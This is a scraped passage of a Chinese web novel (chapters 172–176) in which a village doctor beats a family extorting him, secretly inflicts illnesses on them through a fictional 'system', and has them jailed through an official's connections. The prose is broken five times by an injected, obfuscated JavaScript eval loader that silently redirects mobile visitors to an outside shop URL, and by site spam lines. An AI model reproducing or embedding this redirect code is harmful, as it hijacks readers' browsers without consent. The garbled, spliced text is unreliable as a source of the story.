五十块! 这话一出口,所有人都明白了,这家人从头到尾就是冲着钱来的! 江沐笑了。 那笑容里没有温度,只有彻骨的寒。 又是一记响亮的耳光! 江沐毫无征兆地出手,狠狠抽在刘海波的脸上! “你……”刘海波捂着脸,彻底懵了。 江沐却不解气,抬腿就是一脚,直接将他踹了个趔趄,一屁股坐在地上。 “给你脸了是吧?” “啊!**啦!”刘丰收的婆娘见大儿子被打,尖叫着就要扑上来抓挠江沐。 江沐眼神一厉,看也不看,反手又是一巴掌扇了过去,精准地打在那张布满皱纹的老脸上,直接把她的哭嚎给打了回去! 谁也没想到,平日里温文尔雅的江医生,动起手来竟如此狠辣果决! “都干什么呢!反了天了!” 一声石破天惊的怒吼传来,李有柱拨开人群,手里还提着个马灯,一张黑脸在灯光下绷得铁紧。 “怎么回事?!” 江沐收回手,掸了掸衣袖上不存在的灰尘,语气恢复了平静。 “李队长,你来得正好。刘丰收脑溢血,我没救回来。他家里人非说是我治死的,要我赔五十块钱。” “放屁!”不等李有柱反应,旁边的大娘就抢着开了腔,“队长,我们都看着呢!是刘海洋和刘海波这两兄弟想讹江医生!江医生早就说了救不活,是他们自己死皮赖脸求人家的!” 其他人也纷纷附和,七嘴八舌地把事情的经过说了一遍。 李有柱的脸色越来越黑,最后瞪着地上的刘家三口,气得胡子都翘了起来。 “刘海波!你们三个什么意思?江医生是咱们公社的宝贝,你们敢讹他?!” 刘海波从地上爬起来,捂着脸,眼珠子一转,居然还敢顶嘴。 “李有柱,你少在这儿拉偏架!谁不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16778508|190317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道你跟江沐是亲戚,你当然向着他说话!” “你……”李有柱气得就要动手。 “李队长,别动气。”江沐拦住了他,目光转向刘海波,“既然你信不过李队长,那行。咱们就把事情闹大点。去把大队的高**请来,让他给评评这个理!” 没过多久,大队**高志强就被叫了过来。 他一看这乱糟糟的场面和地上躺着的尸体,眉头就拧成了一个疙瘩。 “像什么样子!人都没了,不安安生生办后事,在这里闹!嫌不够丢人吗?”高志强先是呵 听说看这本书的人都是很幸运的,分享后你的运气会更棒 斥了刘家三口一句,然后才转向江沐,语气缓和了些,“江医生,这……” 不等他说完,刘丰收的婆娘就恶人先告状,指着自己红肿的脸哭诉:“高**,你可得为我们做主啊!他……他不但治**我男人,他还动手打我们娘仨!” 高志强一听,头更疼了。 谁知,江沐听了这话,竟笑了出来。 他这一笑,把所有人都笑蒙了。 “打你们?没错,我打了。”江沐坦然承认,随即话锋一转,“你们也可以去公社告我,去县里告我,说我故意伤人。正好,让上头也查查,你们这是不是敲诈勒索!我提醒你们一句,上一个敲诈我的,现在还在里头吃牢饭呢!” 此话一出,刘家三口的脸色一下全白了。 高志强也是个人精,立刻听出了江沐话里的分量。他赶紧打圆场:“江医生,江医生,消消气,消消气。你看这样行不行,我让他们给你赔礼道歉,这事……就这么算了?卖我个面子。” “面子?”江沐摇了摇头,脸上的笑意彻底消失。 他看着高志强,也看着在场的所有乡亲。 “高**,今天这个面子,我不能给。这不是我江沐一个人的事。” “如果今天这件事就这么算了,那明天是不是谁家**人,都能来我这里闹一闹,要个三块五块?后天谁家有个头疼脑热,治不好,是不是也要来我这儿躺着要钱?” “真到了那个时候,”江沐的声音拔高,带着一股令人心悸的压迫感,“我这个医生,还敢给谁看病?这个卫生室,还开得下去吗?!” 第172章 信用社有钱,你们怎么不去抢呢 高志强被问得哑口无言他看着江沐那双清澈得吓人的眼睛心里一阵后怕。 这年轻人脑子清楚手段也硬绝不是个能随便糊弄的主儿。 他要是真撂了挑子二大队上哪儿再去找这么个神医? 他重重地叹了口气摆了摆手 “行了这事我管不了了。你们刘家的事爱找谁找谁去!要报**就去报**我高志强奉陪到底!” 这等于是彻底撕破了脸。 江沐却没再看他目光重新落回刘家三口身上语气恢复了医生特有的冷静。 “死者为大。人已经没了你们是家属先把后事处理了再说。” 可那刘丰收的婆娘哪里肯依她从地上一骨碌爬起来像个疯婆子挡在卫生室门口。 “不给钱!休想把我们撵走!今天我们就住这儿了!我看你这卫生室还怎么开门!” “是吗?” 江沐不再废话径直走到门边在所有人惊愕的目光中一把将赖在门口的刘家婆娘甩到一边然后从兜里掏出一把大锁。 伴随着一声清脆的金属撞击声卫生室的大门被他从外面锁得严严实实。 做完这一切他拍了拍手转身就走连一个多余的眼神都没给那目瞪口呆的母子三人。 “哎……你……”刘海洋和刘海波彻底傻眼了。 剧本不是这么演的啊! 他不该是乖乖掏钱息事宁人吗?怎么还把门给锁了?那……那我爹的尸首还在里头呢! “小江小江你等等!”李有柱见状也顾不上那烂摊子了赶紧提着马灯追了上去。 场中只剩下高志强和被彻底孤立的刘家三口。 高志强的胸膛剧烈起伏着看着这三个不知死活的东西一股邪火蹿上了脑门。 “好好得很!”他指着他们的鼻子气得直哆嗦“你们三个也算是给咱二大队长脸了!把全大队的人都得罪光了以后你们还想不想在这村里待下去了?” 刘海波梗着脖子还想嘴硬。“他**就是不对!我们就要个说法!” “说法?我给你个说法!” 高志强再也忍不住了他这些年当干部养成的涵养在这一刻彻底破防。 他猛地跨上一步抡圆了胳膊一个大嘴巴子结结实实地抽在了刘海波的脸上! “你爹就是现在活过来也得被你们这两个不孝的东西活活气死!” 高志强指着刘丰收 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 的婆娘破口大骂,“上梁不正下梁歪!有你这么个搅家精的娘,能教出什么好儿子!” 那婆娘被骂得一愣,随即又开始撒泼,坐在地上拍着大腿哭嚎:“我们有什么错啊!他江沐一个城里来的知青,又是开卫生室又是买电风扇的,他那么有钱,我们就要一点给我男人办后事的丧葬费,这有错吗?!” “有钱?”高志强被这神逻辑气笑了,“信用社有钱,你们怎么不去抢呢?!” 他懒得再跟这帮蠢货多说一句废话,扭头就走。 这烂摊子,得找个明白人来收拾! 他大步流星地朝着村东头走去,那里住着刘丰收的亲弟弟——刘丰产。 这哥哥的尸首,总不能真让他在卫生室里过夜! 另一边,李有柱气喘吁吁地追上了江沐。 “小江,你消消气。” 他抹了把汗,语气里满是担忧,“那刘家三口虽然不是个东西,可……可刘丰收人还不错,老实巴交的。你这把门一锁,他的尸首总不能真在卫生室里放着吧?这天热,容易……” “姑父,我心里有分寸。”江沐的脚步没停,声音在夜色中显得格外沉稳。 李有柱看着他平静的侧脸,心里稍安。 他咬了咬牙,郑重地许下承诺。 “小江你放心!这事没完!等刘丰收埋了,我立马召集全大队的社员开大会!必须给你个交代,绝不能让咱们公社的功臣受这种委屈!” “嗯。”江沐淡淡地应了一声。 他知道,李有柱会给他一个满意的交代。 但他更清楚,真正能解决问题的,从来都不是别人的交代。 回到自家院子,堂屋的灯还亮着。 张小月和张兰显然一直在等着,一见他回来,立刻迎了上来。 “小江,怎么样了?那家人没把你怎么样吧?”张兰焦急地上下打量着他。 “没事。”江沐摇了摇头,在桌边坐下,给自己倒了杯凉白开,“我把卫生室的门锁了。” “啊?”张兰大吃一惊,“那……那刘丰收还在里头呢!你这……这可怎么收场?” 江沐喝了口水,眼神深邃。 “姑,你放心。会有人比我更急。” 张兰看着他胸有成竹的样子,心里的担忧稍减,但还是忍不住叮嘱了一句:“小江啊,你听姑姑一句劝。以后再给人看病,可得留个心眼。那种一看不行了的,咱就别伸手了,省得治不好,屎盆子全扣咱自己头上!” …… 你的朋友正在书荒,快去帮帮他吧 村东头,刘丰产家。 高志强一脚踹开他家的院门,三言两语就把卫生室门口发生的事情学了一遍。 刘丰产是个火爆脾气,听完之后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16778509|190317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一张脸涨成了猪肝色。 他从墙角抄起一根胳膊粗的扁担,眼睛都红了。 “这帮丧天良的玩意儿!我哥尸骨未寒,他们就敢这么作践!老子的脸都让他们给丢尽了!” 他怒吼一声,提着扁担就冲了出去,直奔自己哥哥的家。 没过多久,刘丰收家的院子里就传来了鬼哭狼嚎般的惨叫和刘丰产暴怒的咒骂。 “还敢去讹人家救命恩人?!我今天不打死你们这帮猪狗不如的东西!我哥的丧事不用你们管了!都给我滚!” 刘丰产是真的下了死手。 那根扁担,带着呼啸的风声,一下下闷响,全是往死里招呼。 这不是教训,这是在清理门户。 “打!打得好!” “这帮没良心的白眼狼,就该这么拾掇!” “要是把江医生气走了,咱们有个头疼脑热的找谁去?活该!” 院墙外,闻声而来的乡亲们黑压压围了一圈,非但没人上前拉架,反而个个咬牙切齿,恨不得自己也上去踹两脚。 刘海波和刘海洋兄弟俩抱头鼠窜,被抽得满地打滚,身上青一道紫一道,额头见了血,糊住了眼睛。 他们的娘,那个刚才还撒泼打滚的婆娘,此刻也被刘丰产一脚踹翻在地,吓得魂飞魄散,只知道抱着头尖叫。 “疯了!你个杀千刀的,你要打死我们啊!” “打死你们,都算是便宜了你们!”刘丰产双目赤红,状若疯虎,又一扁担抡了下去,“我哥的脸,刘家的脸,全让你们这三个畜生给丢尽了!” 眼看真要闹出人命,刘丰产的婆娘终于冲了出来,死死抱住他的腰。 “当家的!当家的你冷静点!为这几个混账东西惹一身骚,不值当!” 几乎是同时,高志强和李有柱也赶到了,一左一右架住了刘丰产的胳膊。 “丰产!够了!”高志强额上青筋暴跳,“打死他们有什么用?现在是解决问题!” 李有柱也急得满头大汗。 “是啊丰产兄弟!江沐那边还等着交代呢!” 刘丰产胸膛剧烈起伏,他恶狠狠地瞪着地上那三滩烂泥,啐了一口唾沫。 “好!解决问题!”他猛地挣开钳制,指着那婆娘的鼻子,“你!带着你这两个小畜生,马上从这个家给我滚出去!我哥的房子,不养你们这群祸害!我哥的丧事,也用不着你们这帮不孝的东西插手!” 说完,他又一脚踹在刘海洋的腿弯,那力道,疼得刘海洋惨叫一声,直接跪在了地上。 “还有你们两个!现在,立刻,马上去江医生家门口,给我磕头谢罪!” 第173章 等下了葬,这件事,我会处理 夜色下,兄弟俩浑身是血,被刘丰产拖着,一路踉踉跄跄,朝着江沐的院子走去。 高志强和李有柱对视一眼,都从对方眼里看到了凝重,也只能提着马灯,快步跟上。 …… 江沐家的院门敞开着,堂屋灯火通明。 刘丰产一进院子,二话不说,对着刘海波和刘海洋的后腰一人一脚,兄弟俩直挺挺地跪在了江沐面前的青石板上。 “给江医生磕头!” 刘丰产一声暴喝,兄弟俩哆哆嗦嗦地把头磕了下去,那头破血流的额头撞在坚硬的石板上,发出闷闷的响声。 江沐就坐在堂屋的门槛上,手里端着一杯凉白开,神情淡漠地看着眼前这一幕,一句话也不说。 他越是沉默,院子里的气氛就越是压抑,压得人喘不过气。 刘丰产见江沐不为所动,心里的邪火又冒了起来。 他觉得是这两个侄子的歉意不够,抡起巴掌,左右开弓,几个大嘴巴子又抽了上去。 “没吃饭吗?!给老子大声点!” 打完了,他又转向江沐,那张涨红的脸上堆起讨好的笑容。 “江医生,这两个小畜生有眼不识泰山,冒犯了您。您心里要是有气,尽管撒!今天就算您把他们打死在这儿,我刘丰产皱一下眉头,就不是人养的!绝没人敢拦着!” 江沐依旧没有言语,只是将杯中的水喝干,然后缓缓站起身。 他那平静的目光扫过跪在地上的兄弟二人,最终落在了刘丰产身上。 刘丰产见状,更是狠戾,抬脚又要踹。 “您瞧,您要是不解气,我再……” “不用了。” 江沐终于开口,声音清冷。 “我不会跟他们置气。” 他顿了顿,随后道,“我只问你一句,卫生室门口发生的事,你都清楚经过吗?” 刘丰产被他看得心里一突,连忙道。 “清楚,清楚!高**都跟我学了!是这两个小王八蛋猪油蒙了心,想讹您!这事,是我们老刘家对不住您!我们混蛋!” 他搓着手,语气愈发小心翼翼。 “江医生,您大人有大量。您看……我哥他……总不能一直在卫生室里头待着。天热,我……我想先把他接回家,让他入土为安。” 江沐的视线从他脸上挪开,望向深沉的夜色,似乎在思量着什么。 半晌,他才淡然地吐出几个字。 “我说了,不会和**计较。去吧,把人抬 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 走。” “哎!哎!谢谢江医生!谢谢江医生!”刘丰产如蒙大赦连连道谢。 “但是 刘丰产心头猛地一颤他听出了那平静话语下潜藏的惊涛骇浪。 但他不敢多问只能连声应承然后拽起地上的两个儿子离开。 江沐面无表情地看着他们狼狈的背影转身回屋从兜里掏出卫生室的钥匙递给了跟在后头的李有柱。 “姑父劳烦你跑一趟开个门。” 李有柱接过那冰凉的钥匙重重地点了点头。 等所有人都离去院子重新恢复了安静。 江沐站在堂屋中央眼底深处一抹无人察觉的寒光一闪而过。 他心念微动眼前瞬间浮现出只有他自己能看到的系统面板。 【疾病收集器】 他的意念落在了【疾病收集器】上。 阎王好惹小鬼难缠。 跟这种蠢坏的滚刀肉讲道理是最愚蠢的做法。 道歉?他江沐不需要。 赔偿?他更不稀罕。 他要的是一劳永逸。 指尖在虚空中轻轻划过锁定了刚刚离去的那三个人。 【目标:刘氏(刘丰收之妻)。选择疾病:慢性荨麻疹、神经性皮炎、失眠症。确认投放。】 【目标:刘海波。选择疾病:重度痔疮、偏头痛、慢性腹泻。确认投放。】 【目标:刘海洋。选择疾病:风湿性关节炎、过敏性鼻炎、牙周炎。确认投放。】 做完这一切江沐脸上的冰霜才缓缓散去。 光是让他们身体难受还不够。 这种人就像是粘在鞋底的口香糖恶心甩不掉。 最好的办法就是把他们从自己眼前彻底挪开。 送他们进去吃牢饭似乎是个不错的选择。 江沐转身进了屋。 他没再多想刘家那几个蠢货心念一转便落在了灶房。 小月还饿着肚子呢肚子里那个小的也该饿了。 他熟练地淘米下锅灶膛里的火光映着他平静无波的侧脸。 那双刚刚还冷冽如冰的眸子此刻添了几分柔和。 切菜的刀声清脆而富有节奏仿佛刚才的一切不过是一场不值一提的闹剧。 他江沐不是阎王但他有的是办法让这些小鬼生不如死。 只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16778510|190317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过那些上不得台面的手段 你的朋友正在书荒,快去帮帮他吧 不必脏了自家媳妇儿的耳朵。 …… 另一头,刘家大院彻底乱成了一锅粥。 刘丰产几乎是把刘丰收的尸身从卫生室抢回来的。 他不敢耽搁,连夜请来村里的老人,定了后天一早下葬。 只是,办丧事最要紧的人手,却成了天大的难题。 按照村里的老规矩,这种白事,只要在村里吆喝一嗓子,各家各户的壮劳力都会主动上门帮忙。 可今天,刘丰产那张饱经风霜的老脸,算是彻底丢尽了。 他只能硬着头皮,提着一盏昏黄的马灯,挨家挨户地去请。 “他三叔,明天……能不能劳驾您,去给我哥打个墓?”他弯下腰,声音卑微。。 被敲开门的庄稼汉子,脸上表情复杂,有同情,有鄙夷。 “丰产呐,不是我说你。你哥在村里人缘多好啊,怎么就出了这么两个……唉!”汉子叹了口气,终究还是点了点头,“行,为了你哥,这忙我帮了!明儿一早,我就扛锄头过去。” “谢谢!谢谢三叔!” 刘丰产一家家地走,一句句地求。 几乎所有人都看在死去刘丰收的面子上,答应了下来。 但那一道道复杂的眼神,也让他知道,老刘家的脸面,被那三个畜生一次性败光了。 等他拖着疲惫不堪的身子回到家,只见堂屋里,那三个刚被他打得半死的罪魁祸首,此刻正鬼哭狼嚎,作起了妖。 “哎哟,我的娘诶!痒!痒死我了!身上跟有几百只蚂蚁在爬!” 他那嫂子,一边疯狂地撕扯着自己的衣领,一边在地上打滚,脖子和手臂上已经抓出了一道道血痕。 “爹……不是,二叔……我头疼,跟要裂开一样!屁股也……哎哟,坐都坐不住了!”刘海波脸色煞白,抱着脑袋,整个人蜷缩在椅子上,五官都扭曲了。 刘海洋更惨,一边打着惊天动地的喷嚏,眼泪鼻涕糊了一脸,一边抱着自己的膝盖哀嚎:“腿!我的腿跟针扎一样!又酸又疼!牙也疼!喝口凉水都钻心!” 刘丰产看着这三个活宝,也愣住了。 难道……难道自己刚才下手太重,真把他们给打出什么内伤了? 这要是真落下个残疾,那可就是天大的麻烦! 他心里一阵发虚,那股子要把人往死里打的狠劲儿,瞬间泄了一半。 第174章 江医生,好像不给村里人看病了 第二天,天刚蒙蒙亮,整个青莲公社二大队就炸开了锅。 刘家那娘仨昨晚的惨状,一夜之间就传遍了全村。 “听说了没?刘家那婆娘,身上起了老大一片红疙瘩,抓得跟血人似的! “还有刘海波,听说得了痔疮,茅房都蹲不住了! “活该!这就是报应!老天爷都看不下去了! “可不是嘛!得罪谁不好,去得罪咱们的救命菩萨江医生,遭天谴了! 乡亲们在田间地头,在院墙角落,议论纷纷,言语间满是幸灾乐祸。 上午,村里的壮劳力们还是依约去了后山。 他们是去给刘丰收打墓的,不是给那三个白眼狼帮忙的。 众人心里都憋着一股气,手上的力气也使得特别大,不到半天功夫,一个像样的墓穴就挖好了。 而这一天,江沐家的院门,却一直紧紧关着。 有几个头疼脑热的村民找上门,都被张小月客客气气地挡了回去。 “江沐今天身子不得劲,要歇歇。 一次是巧合,两次、三次呢?很快,一个新的消息以更快的速度传开了——江医生,好像不给村里人看病了! 这个消息,比刘家遭报应还让人恐慌! “完了完了!这下可怎么办? “都怪刘家那三个挨千刀的!把咱们的活菩萨给气走了! “不行,我们得去找队长!得去给江医生赔罪! 村民们的怒火,再次被点燃,这一次,全都对准了刘家。 李有柱得了信儿,急得烟袋锅子都忘了点,一路小跑冲到了江沐家。 “小江啊,小江,开门呐! 门开了,江沐站在门内,神色平静地看着他。 “姑父,什么事这么火急火燎的? “我的好同志喂!李有柱急得满脸通红,一把抓住江沐的胳膊,“村里都传疯了,说、说你……不打算干了?你可不能撂挑子啊!你走了,大家伙儿可怎么办? 江沐看着他焦急的模样,心里划过暖流。 他轻轻拍了拍李有柱的手,示意他冷静。 “姑父,你觉得我江沐是那种因为一粒老鼠屎,就砸了整锅汤的人吗? 李有柱一愣,随即大喜过望。 “那……那你的意思是? “乡亲们的病,我自然会看。江沐的语气很平淡,但内容却让李有柱的心彻底放回了肚子里。 “不过,江沐话锋一转, 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 “有些祸害,不除了,我睡不着觉。我担心他们哪天夜里,会摸进我家院子,给我来一闷棍。” 李有柱闻言,脸色也沉了下来,狠狠一拍大腿。 “你说的对!这帮滚刀肉什么事都干得出来!你想怎么办?说!我带人去给你撑腰!” “撑腰就不必了。”江沐摇了摇头,“对付这种人,得用国家的规矩来。我要报**,让他们这辈子,都别想再出来害人。” “报**?”李有柱先是一惊,随即重重点头,“对!就该报**!诬陷敲诈,殴打医生,这罪名够他们喝一壶的了!这事,我支持你!” 又过了一天,刘丰收出殡。 丧事办得冷冷清清,除了几个亲族,几乎没人去送。 而就在送葬队伍的哭丧声还在山间回荡时,江沐已经坐上了李有柱的驴车,朝着公社的方向去了。 “今天公社来一批新知青,我去接一下。你呢?真要去派出所?”李有柱一边赶着驴,一边问。 “嗯。”江沐看着远方,目光坚定,“斩草,就要除根。” 到了公社,两人分道扬镳。 江沐熟门熟路地找到了公社派出所。 所长认识江沐。 见到江沐就和他打招呼。 “江医生?稀客啊!快坐!”所长热情地递过一杯搪瓷缸子。 江沐没跟他客套,开门见山,将刘家三口如何**、如何诬陷、如何堵门威胁的经过,一五一十地陈述了一遍。 所长的脸色,随着江沐的讲述,越来越黑,最后一拍桌子,额上青筋暴跳。 “反了他们了!连救死扶伤的医生都敢讹诈!这还得了!”他当即站起身,对着门外吼了一嗓子,“小张!小刘!都给我过来!” 两个年轻的**立刻跑了进来。 “所长,啥指示?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16778511|190317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“带上家伙!跟我去二大队!抓人!” …… 刘海波和刘海洋兄弟俩,刚给他们爹的坟头培上最后一铲土,还没来得及喘口气,一副冰冷的**,就锁住了他们的手腕。 他们的娘,也从家里被揪了出来。 当三个人被押到还在冒着青烟的坟前时,彻底懵了。 面对**同志的严厉审讯,这三个欺软怕硬的货色,心理防线瞬间崩溃,哭爹喊娘地把所有事情都招了。 而此时的江沐,已经搭上了去往县城的班车。 他要去见一个人——沈焱。 在县委大院门口,江沐被警卫拦下,但 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 他只报了沈焱的名字和自己的名字,警卫便立刻打了个电话,随即恭敬地放行了。 办公室里,沈焱见到江沐,脸上露出诧讶,紧接着便是一抹紧张。 “小江?你怎么来了?是不是陈老他们……” 他心里一紧,以为是那几位被他秘密安排在青莲公社二大队养病的老爷子出了什么状况。 “沈大哥,你别紧张。”江沐摆了摆手,“陈老他们都好得很。今天来,是我自己有点私事,想请你帮个小忙。” 听到这话,沈焱才松了口气,随即好奇起来。 在他眼里,江沐一直是个沉稳得不像年轻人的角色,能让他亲自跑到县里来找自己的,绝非小事。 “私事?你说。” 江沐便将刘家的事情,简略地说了一遍。 他没有添油加醋,只是客观陈述。 沈焱静静地听着,脸上的表情从轻松慢慢变得阴沉,手指无意识地在桌上有节奏地敲击着。 等江沐说完,他拿起桌上的红色电话机,拨了几个号码。 “喂?我沈焱……对,青莲公社二大队,有三个刁民,诬告敲诈医生……性质极其恶劣……对,从重、从严、从快处理!” 几个电话,不过三五分钟。 挂断电话后,沈焱看着江沐,脸上恢复了温和的笑容。 “放心吧,小江。这件事,到此为止了。”他语气平淡道,“他们,出不来了。” 第175章 杀鸡焉用宰牛刀 事情敲定,江沐便起了身,他不想过多占用沈焱的工作时间。 “沈县长,那我先回去了,不耽误你。” 沈焱却一把按住他的肩膀,脸上带着几分坚持。 “急什么?坐下再喝杯水!我让你外甥送你。” 江沐心头一暖,却也有些不好意思。 为这点小事专程跑一趟,还要麻烦人家领导的亲戚护送,这人情欠得有些大了。 “真不用,沈县长,我……” “就这么定了!”沈焱摆了摆手,打断了他的推辞,语气里带着长辈式的关怀,“你帮我照看着那几位老爷子,是我该感激你。这点小事,再推辞就是看不起我这个大哥了。” 话说到这份上,江沐也不好再拒绝。 沈焱亲自将他送到楼下,一辆半旧的绿色吉普车早已停在院子里。 一个穿着白衬衫、留着利落短发的年轻男人正靠在车门上,看见两人下来,立刻站直了身子,快步迎了上来。 “舅,**。”男人咧嘴一笑,露出一口白牙,眼神里透着股机灵劲儿。 “梁宇,把江医生安全送回二大队,路上开稳点。”沈焱叮嘱道。 “放心吧您嘞!”梁宇爽快地应下,麻利地拉开车门,“**,上车!” 吉普车发动,扬起一阵尘土,驶出了县委大院。 车子在颠簸的土路上行驶,梁宇一边熟练地操控着方向盘,一边从后视镜里打量着江沐。 “**,我听我舅说了。以后再有这种不开眼的货色找你麻烦,你直接托人给我捎个信儿就成,犯不着惊动我舅。” 他的语气轻松,却带着一种与年龄不符的笃定,“我虽然就是个开车的,但在县里这块儿,认识的人杂,办点小事比走公家程序快得多。” 江沐闻言,心中了然。 这梁宇,绝不像他自己说的只是个开车的那么简单。 他淡淡一笑。 “杀鸡焉用宰牛刀,这点小事,让我舅出马太大材小用了。” “嗨!这叫什么话!”梁宇一脚油门,车子轻快地越过一个土坑,“我舅那几个老前辈的命,可都攥在你手里呢。你的事,再小也是大事!**,别跟我客气,把我当自家兄弟使唤就成!” 这话说得敞亮,江沐心里也舒服。 他不再多言,只是点了点头。 两人有一搭没一搭地聊着,很快就到了派出所。 江沐的自行车还寄放在派出所。 “**,我在这儿等 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 你。梁宇将车稳稳停在派出所门口。 江沐推门下车,正巧碰上所长从里面出来。 “江医生?事情办完了?所长一见他,黝黑的脸上立刻堆满了笑。 “嗯,多谢所长帮忙。 “谢啥!应该的! 江沐和他寒暄了两句,便推着自己的二八大杠走了出来。 梁宇一看,直接跳下车,眉头一挑。 “**,你这是要骑回去?这十几里山路呢! 不等江沐回答,他不由分说地从车里摸出两根粗麻绳,三下五除二就把自行车牢牢地捆在了吉普车的屁股后面,动作娴熟得像干过无数次。 “走!上车!我直接给你送到家门口! 江沐看着他这番操作,哭笑不得,却也只能由他去了。 吉普车再次发动,这次是朝着二大队的方向。 刘海波母子三人被**抓走的消息,早已飞遍了整个二大队。 村民们的心彻底放回了肚子里,田间地头,到处都是议论声,言语间无不拍手称快。 当梁宇的吉普车卷着黄土开进村口时,立刻吸引了所有人的目光。 “快看!是江医生回来了! “江医生坐着小汽车回来的! 正在自家门口纳鞋底的大娘、扛着锄头刚从地里回来的汉子,全都围了上来。 “江医生,您可算回来了!这下我们心里踏实了! “江医生,刘家那几个天杀的,抓得好!就该让他们去蹲大牢! 江沐从车上下来,面对一张张淳朴热情的脸,他心中的那点郁气早已烟消云散。 他微笑着,挨个点头回应。 “婶子,你家娃的烧退了没? “叔,你的腰还疼不疼? 一句句简单的问候,换来的是村民们更加热切的回应。 梁宇靠在车门上,看着被人群簇拥的江沐,眼神里满是惊奇。 他没想到,一个年纪跟自己差不多大的年轻人,在一个陌生的村子里,竟然能有这么高的威望。 这可不是靠权力或者金钱能换来的。 “**,你这威望,挺高呀。梁宇低声感叹。 江沐从人群中走出来,拍了拍身上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16778512|190317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尘土,神色平静。 “没什么,混口饭吃,有点手艺罢了。 到了家门口,院门虚掩着。 江沐 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 推开门,一股饭菜的香气扑鼻而来。 “梁宇,来都来了,吃了饭再走。”江沐发出了邀请。 梁宇看了看天色,下午确实没什么事,便爽快地答应了。 “成!那我可得尝尝嫂子的手艺!” 他刚一脚踏进院子,就看到一个穿着碎花布衫的姑娘正端着一盆洗好的青菜从灶房出来。 那姑娘抬起头,正好和梁宇的目光撞了个正着。 正是李喜凤。 梁宇那张能说会道的嘴,此刻像是被胶水黏住了,一个字也蹦不出来,脸颊竟有些微微发烫。 李喜凤更是哎呀一声,手里的盆一晃,水洒了一地,一张俏脸瞬间通红,低着头,手足无措地绞着自己的衣角。 这番景象,全落在了从屋里迎出来的张小月和江沐眼里。 两人对视一眼,都从对方眼中看到了了然的笑意。 灶房里,张小月一边和李喜凤择菜,一边用胳膊肘轻轻碰了碰她。 “喜凤,脸怎么红得跟那灶膛里的火炭似的?” “小月姐,你……你别取笑我……”李喜凤的声音越来越小,头埋得更低了。 “我看那梁宇同志,一表人才,人也机灵,对你好像有意思啊。” 张小月压低了声音,“你要是也觉得不错,回头我让江沐去探探口风,给你们俩撮合撮合?” 李喜凤的心怦怦直跳,捏着菜叶的手指都有些发白,却半天没说出个不字来。 张小月看她这模样,心里便有了数,笑着拍了拍她的手。 “行了,这事包在我身上。” 一顿饭吃得气氛热烈,梁宇虽然话不多,但眼神总是不自觉地往李喜凤那边瞟。 饭后,江沐送走了意犹未尽的梁宇和羞答答的李喜凤,院子里终于恢复了宁静。 张小月端来一盆温水,递过毛巾,柔声问他。 “事情……都解决了?” 江沐接过毛巾,擦了把脸,水珠顺着他轮廓分明的下颌滑落。 他抬起头,看着妻子担忧的眼神,心中一片柔软。 他点了点头。 “嗯,沈县长当着我的面打了电话。” 第176章 这辈子,估计是出不来了 张小月长长地舒了一口气整个人的肩膀都松弛了下来。 江沐看着她如释重负的模样心中一暖将湿毛巾放入盆中。 